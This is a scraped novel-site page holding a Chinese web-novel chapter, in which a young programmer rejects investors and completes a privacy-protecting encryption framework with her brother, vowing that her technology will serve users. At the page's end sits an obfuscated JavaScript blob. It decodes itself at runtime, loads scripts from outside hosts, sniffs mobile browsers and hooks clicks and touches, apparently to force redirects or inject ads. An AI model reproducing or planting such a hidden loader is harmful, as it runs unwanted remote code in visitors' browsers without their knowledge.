首页
前传第149章 定下准则,技
返回

前传第149章 定下准则,技术向善终身不改

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    前传第149章定下准则,技术向善终身不改(第1/2页)
    深秋的江城,褪去了夏秋的燥热,空气里浸着一层清冽的凉。
    老旧居民小区的顶楼,没有精致的办公隔间,没有恒温恒湿的实验室,只有一扇常年敞开的落地窗,晚风穿堂而过,卷起桌上零散的打印纸,轻轻簌簌作响。
    姚浮萍的小工作台,就安在窗边角落。
    一张磨损发白的实木书桌,两台组装高配主机静静立在桌下,屏幕蓝光幽幽,映亮少女清瘦安静的侧脸。桌面上整齐码放着密密麻麻的算法手稿、加密逻辑推演草稿、层层标注的技术笔记,没有零食摆件,没有装饰玩偶,目之所及,全是冰冷严谨、条理清晰的代码公式。
    这是她二十二岁的全部世界。
    纯粹、单调、极致专注,容不下半点世俗纷扰,也容不下一丝功利杂质。
    距离她断然拒绝行业头部资本的天价邀约,已经过去整整一周。
    那笔足以让普通年轻人衣食无忧半生的投资,那堆光鲜亮丽的资源许诺、行业背书、上市蓝图,在旁人看来是梦寐以求的人生捷径,在姚浮萍这里,不过是一封可以随手丢弃、不值一提的废纸。
    一周时间,外界的喧嚣、惋惜、议论,从未停歇。
    算法圈子不大,天才少女拒绝千万资本的消息,早已悄悄传遍江城乃至整个数据安全行业。
    有人觉得她年少轻狂、不知天高地厚。
    有人叹她太过执拗、浪费顶级天赋。
    有人暗自嘲讽,年轻气盛,早晚要为自己的任性买单,终有一天会后悔错失一步登天的机会。
    流言四起,褒贬不一。
    可所有的声音,都从未抵达这一间小小的顶楼工作室。
    姚浮萍对此一无所知,也毫不在意。
    整整七天,她闭门不出,断绝所有无关社交、无关讯息,心无旁骛扎根在初代加密算法的打磨与优化之中,日复一日,重复着枯燥、漫长却让她满心安宁的工作。
    对她而言,代码从不是用来变现的商品,算法从来不是博取名利的工具。
    那是她从小到大,唯一愿意倾尽所有、终身奔赴的热爱,是她对抗世俗浮躁、抵御人心凉薄、守住纯粹本心的全部底气。
    屏幕光影流转,无数精密复杂的字符飞速滚动、排列、重组。
    初代底层加密框架已经彻底定型,经过数月兄妹联手攻坚、无数次漏洞排查、反复推演迭代,这套自主研发的加密逻辑,已经彻底脱离市面上现有开源模板的桎梏,形成了独属于他们兄妹的、全新的、更严密、更温和、更安全的底层体系。
    没有照搬照搬行业套路,没有为了适配商业妥协简化,没有为了提升速度牺牲防护底线。
    每一行代码,都是亲手敲下;每一处逻辑,都是反复推敲;每一个漏洞,都是连夜修补。
    姚浮萍指尖落在键盘上,指尖纤细干净,敲击节奏平稳匀速,不急不躁,带着一种近乎虔诚的专注。
    屏幕右侧,一行备注被她反复加粗、标红、置顶,贯穿整个算法程序的始末。
    【技术为人所用,护人周全,绝不逐利噬人。】
    这是她打磨代码的底线,也是她二十二年人生里,最坚定的信条。
    身后传来轻微的脚步声,姚厚朴端着一杯温热的白开水,轻手轻脚走进房间,没有出声打扰,只是静静站在门口,看着窗边专注的妹妹。
    他已经习惯了这幅画面。
    从小到大,妹妹的世界永远简单纯粹。别人的青春是热闹的校园、鲜活的玩伴、轰轰烈烈的悸动与追逐,她的青春,是无数个深夜的代码、无数次失败的推演、无数次从零开始的攻坚。
    她天生就和这个功利浮躁的世界格格不入。
    二十二岁的年纪,同龄人忙着实习镀金、积累人脉、追逐高薪、规划前程,忙着融入规则、迎合资本、顺应世俗,唯独姚浮萍,固守着一方小小的技术天地,固执地守着一份旁人看不懂的纯粹与赤诚。
    姚厚朴将水杯轻轻放在桌角,目光落在屏幕那行加粗的备注上,眼底满是温柔与欣慰,也藏着一丝不易察觉的心疼。
    “还在微调底层逻辑?”他压低声音,生怕打乱她的节奏。
    姚浮萍指尖未停,视线依旧锁定屏幕,轻轻点头,声音清淡安静,带着长期少言寡语养成的微凉质感:“最后几处自适应加密阈值,微调完毕,初代版本就彻底定型了。”
    “不用太赶。”姚厚朴轻声安抚,“熬了一周,每天只睡三四个小时,身体扛不住。资本那边的后续邀约,我已经全部帮你回绝干净了,中间人也拉黑了,不会再来打扰你。”
    提起那笔千万级的资本投资,提起业内人人争抢的资源背书,姚浮萍脸上没有半分波澜,既无惋惜,也无得意,只是淡淡嗯了一声。
    “没必要。”
    简单三个字,轻描淡写,却道尽了她所有的态度。
    姚厚朴靠在门框上,看着窗外沉沉的暮色,缓缓开口:“浮萍,我这几天一直在想,要不要跟你好好聊聊。圈内很多人都在议论你,说你太固执,不懂变通,白白放弃了最好的发展机会。”
    他不是要劝妹妹妥协,只是想替她梳理清楚前路,让她明白自己坚守的到底是什么。
    姚浮萍终于停下手中的动作,微微侧过头,清澈干净的眼眸看向自己的哥哥。
    她的眼神很纯粹,黑白分明,没有世俗的算计,没有对名利的渴望,只有对技术最本真的敬畏与执着。
    “哥,你也觉得我做错了?”她轻声问。
    “我从来没觉得你错。”姚厚朴立刻摇头,语气笃定温柔,“我只是怕你太纯粹,容易被这个行业辜负。你见过太多技术被滥用、算法被异化、初心被资本碾碎的例子,所以你拼命守住底线。可这个行业,从来容不下太干净的人。”
    这是他最深的担忧。
    数据安全行业,看似高精尖、高大上,内里早已被资本渗透得千疮百孔。
    无数技术从业者,最初都怀揣技术向善的初心,可踏入行业数年,无一不被规则驯化、被利益裹挟。为了流量妥协安全,为了盈利泄露数据,为了资本放弃底线,早已是行业常态。
    好好的防护算法,可以被改成精准收割用户的工具;
    纯粹的加密技术,可以被用来包庇灰色产业、掩盖数据黑产;
    顶尖的技术人才,最终大多沦为资本牟利的螺丝钉。
    他见过太多天才陨落,见过太多初心蒙尘,所以格外心疼自己的妹妹。
    她把技术当成信仰,可在资本眼里,技术永远只是变现的工具。
    姚浮萍沉默片刻,抬手拿起桌边的算法手稿,指尖轻轻抚过密密麻麻的公式,一字一句,语速轻柔却无比坚定:
    “哥,我不是任性,也不是不懂变通。我比任何人都清楚,资本能给我们什么。资金、实验室、团队、名气、快速落地的商业渠道,这些东西,确实能让我们的算法更快面世、更快出圈、更快盈利。”
    她看得通透,从来不是不谙世事的天真。
    她只是,不愿妥协。
    “可我更清楚,资本会拿走什么。”
    姚浮萍抬眼,望向窗外渐暗的天色,晚风拂动她额前的碎发,少女的声音清浅却有千钧重量:
    “他们投资我,不是认可我的技术,不是想要做好数据防护,不是想守护普通用户的隐私安全。他们看中的,是我的算法可以盈利,可以垄断赛道,可以用来掌控用户数据、收割流量、抢占市场。”
    “一旦接受投资,第一步,他们会让我简化防护逻辑,降低加密成本,适配商业产品。第二步,他们会要求我开放数据端口,方便商业导流、精准推送。第三步,他们会为了利益,不断突破安全底线,把防护技术,变成控制用户的枷锁。”
    这不是空想预判,是她年少时亲眼见过、亲身目睹过的行业真相。
    几年前,她还在读高中,痴迷钻研开源代码,偶然拆解过几款市面上爆火的所谓隐私防护软件。
    外表打着安全防护、隐私加密的旗号,内核却藏着无数暗门。
    名为保护用户,实则疯狂爬取隐私;
    名为加密防护,实则私自流转数据;
    免费的安全工具,最终最贵的,永远是用户的个人信息。
    那是她第一次彻底看清,技术异化的可怕。
    (本章未完,请点击下一页继续阅读)前传第149章定下准则,技术向善终身不改(第2/2页)
    也是从那一刻起,她心底埋下了最深的执念。
    她学代码、研算法、啃遍所有枯燥晦涩的安全逻辑,从来不是为了赚钱,不是为了成名,不是为了挤进行业顶层。
    她只是想做一套真正干净、真正安全、真正只为守护用户的技术。
    不牟利、不投机、不妥协、不异化。
    “我研发加密算法的初衷,从来不是创业赚钱,不是登顶行业,不是名利双收。”姚浮萍目光澄澈,字字恳切,“我只是想做一套普通人能用、敢用、安心用的防护系统。让普通人的隐私,不被随意倒卖;让普通人的数据,不被肆意收割;让技术,真的能护人,而不是害人。”
    姚厚朴静静听着,心底所有的担忧,瞬间释然大半。
    他终于彻底明白,妹妹的执拗,从来不是年少轻狂,而是清醒的坚守。
    “所以你宁愿放弃千万投资,宁愿从零起步、慢慢打磨,也不愿让你的算法,沾上半分功利的污点?”
    “是。”姚浮萍毫不犹豫点头,“我的代码,每一行都是为防护而生。它可以不赚钱,可以默默无闻,可以小众冷门,可以长久不被行业认可,但它绝对不能成为资本收割普通人的工具。”
    “技术没有对错,人心才有。”
    “我控制不了行业所有人的选择,改变不了大环境的乱象,但我能控制我自己,能控制我亲手研发的每一套逻辑、每一行代码。”
    这句话落地,安静的小房间里,瞬间沉静下来。
    晚风穿堂,温柔绵长,拂去了连日攻坚的疲惫,也拂亮了少年人纯粹滚烫的初心。
    姚厚朴沉默良久,缓缓笑了。
    那是释然的笑,是骄傲的笑。
    他一直护着妹妹的纯粹,护着她不被世俗污染,此刻才真正确定,他的妹妹,从来不需要旁人保护本心。
    她自己,就有守住一生底线的力量。
    “好。”姚厚朴重重点头,语气无比郑重,“哥支持你。不管别人怎么说,不管行业怎么变,我永远站在你这边。你想做纯粹的技术,我就永远帮你兜底。你守技术底线,我守你。”
    兄妹对视一眼,无需多言,所有羁绊与默契,尽在不言中。
    从小到大,皆是如此。
    他是她世俗里的保护伞,她是他理想里的光。
    姚浮萍收回目光,重新落回电脑屏幕,指尖再次落在键盘上,继续微调最后几处阈值参数。
    屏幕蓝光流转,无数精密字符有序跳动。
    初代加密算法的框架已经彻底圆满,逻辑闭环、漏洞清零、防护拉满。
    它没有市面上商业算法的花哨功能,没有快速变现的适配接口,没有为资本预留的后门通道。
    它朴素、干净、极致、纯粹。
    唯一的核心功能,就是防护,就是守护。
    姚浮萍一边微调参数,一边轻声开口,像是在自言自语,又像是在对着自己的代码立下终身誓言:
    “行业逐利,我便守纯。”
    “资本逐欲,我便守心。”
    “技术可利万物,亦可噬众生,我此生研码,只守苍生,不逐分毫浮华。”
    寥寥数语,轻轻落地,成了她往后一生,从未更改的人生准则。
    从二十二岁这年开始,刻进骨血,融进技术,贯穿余生所有的研发之路。
    调好最后一处自适应加密阈值,姚浮萍轻点回车,程序自动编译、自检、运行。
    屏幕跳出一行绿色提示字体:【初代绫镜加密框架,自检完毕,零漏洞,零后门,运行稳定。】
    历时数年,从零摸索、从零攻坚,历经无数次推翻重来、无数次熬夜调试、无数次修补迭代,属于她和哥哥的初代自主加密算法,彻底定型。
    没有资本加持,没有团队助力,没有商业包装,干干净净,纯粹赤诚。
    姚浮萍盯着屏幕上的提示,清冷的眼底,终于漾开一丝极淡、极温柔的笑意。
    那是付出终有回报的释然,是初心落地的安稳,是少年理想破土而出的光亮。
    姚厚朴走上前,俯身看着完整成型的算法框架,眼底满是动容:“终于成了。”
    “嗯。”姚浮萍轻轻应声,“雏形落地了,接下来,慢慢打磨迭代就好。不用急着商业化,不用急着面世,先做长期公开免费测试,收集普通用户的使用反馈。”
    她早已规划好所有路径。
    不靠资本、不赶风口、不蹭热度。
    慢慢走,稳稳走,一步一步,把纯粹的技术,落地成真正守护普通人的力量。
    “不商业化,我们后续没有收入,你不担心吗?”姚厚朴轻声问道。
    他们兄妹两人,靠着兼职接一些小众技术维护的零散单子维持生计,收入微薄,日子朴素清贫。
    放弃千万投资,意味着未来很长一段时间,他们依旧要过着清贫低调、埋头攻坚的日子。
    没有光鲜的履历,没有高薪的回报,没有行业的名望。
    姚浮萍摇了摇头,眼神淡然:“我做技术,从来不是为了收入。我们能温饱,能有一台电脑、一方书桌,能安安静静打磨代码,就够了。”
    “真正值得担心的,从来不是清贫。”
    她顿了顿,目光望向窗外霓虹初上的江城夜色,眼底多了一丝超越年龄的清醒与悲悯:
    “真正可怕的,是技术失控,是底线崩塌,是本该守护人的东西,最后反过来伤害了无数普通人。”
    这些年,她看过太多数据泄露引发的悲剧。
    普通人因为信息泄露,遭遇诈骗、骚扰、人肉搜索;
    普通用户的隐私被肆意倒卖,沦为资本牟利的商品;
    无数无辜的人,为行业的贪婪和技术的异化,买单受难。
    无人守护,无人兜底,无人坚守底线。
    那是她心底最柔软的善意,也是她深耕技术最坚定的动力。
    “我不求这套算法能名扬行业,不求能改变整个行业乱象。”姚浮萍声音轻缓,却无比坚定,“我只求,我亲手写出来的每一行代码,都干干净净、问心无愧。”
    “只求用过它的普通人,能多一分安心,少一分惶恐。”
    “仅此而已。”
    夜色渐深,城市万家灯火次第亮起,霓虹喧嚣铺满整座江城。
    外界依旧热闹浮躁,资本依旧四处狩猎,行业依旧追名逐利,无数人在名利场里奔波角逐、随波逐流。
    可这间小小的顶楼工作室,依旧安静纯粹,不染尘埃。
    一人研码,一人相守。
    守住一方干净的技术天地,守住一份永不妥协的初心。
    姚厚朴拿出手机,默默拍下屏幕上完整成型的初代算法框架,没有发朋友圈,没有对外炫耀,只是默默保存,留在手机相册最深处。
    这是属于他们兄妹的起点,也是未来风靡全球、守护万千用户的「五彩绫镜」,最初最干净的模样。
    “以后这套算法,叫绫镜吧。”姚厚朴轻声提议,“心如明镜,澄澈无垢,照见虚实,抵御污浊。”
    姚浮萍眼底一亮,轻轻点头:“好。绫镜护心,技术守真。”
    绫镜初成,初心既定。
    这一刻,无人知晓。
    无人知晓多年后,这套放弃资本、甘于清贫、纯粹守护的底层算法,会突破行业桎梏,打破外资垄断,成为国内最干净、最安全、最有温度的数据安全核心技术。
    无人知晓,这个二十二岁拒绝千万资本、固守本心的天才少女,会在往后无数次资本围剿、商业博弈、行业乱象里,终身坚守此刻定下的准则,从未动摇,从未妥协。
    技术向善,终身不改。
    窗外晚风温柔,夜色安然。
    屏幕蓝光静静流淌,映照少女澄澈坚定的眉眼。
    喧嚣世间,万人逐利,唯她守真。
    前路漫漫,风雨将至,资本的诱惑、行业的打压、对手的窃取、世俗的不解,未来的风浪早已悄然埋伏在前路。
    但从这一刻起,姚浮萍的心底,已经立起了一道永不崩塌的屏障。
    技术可迭代,算法可升级,岁月可更迭。
    唯独初心底线,终身不移,终身不改。
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();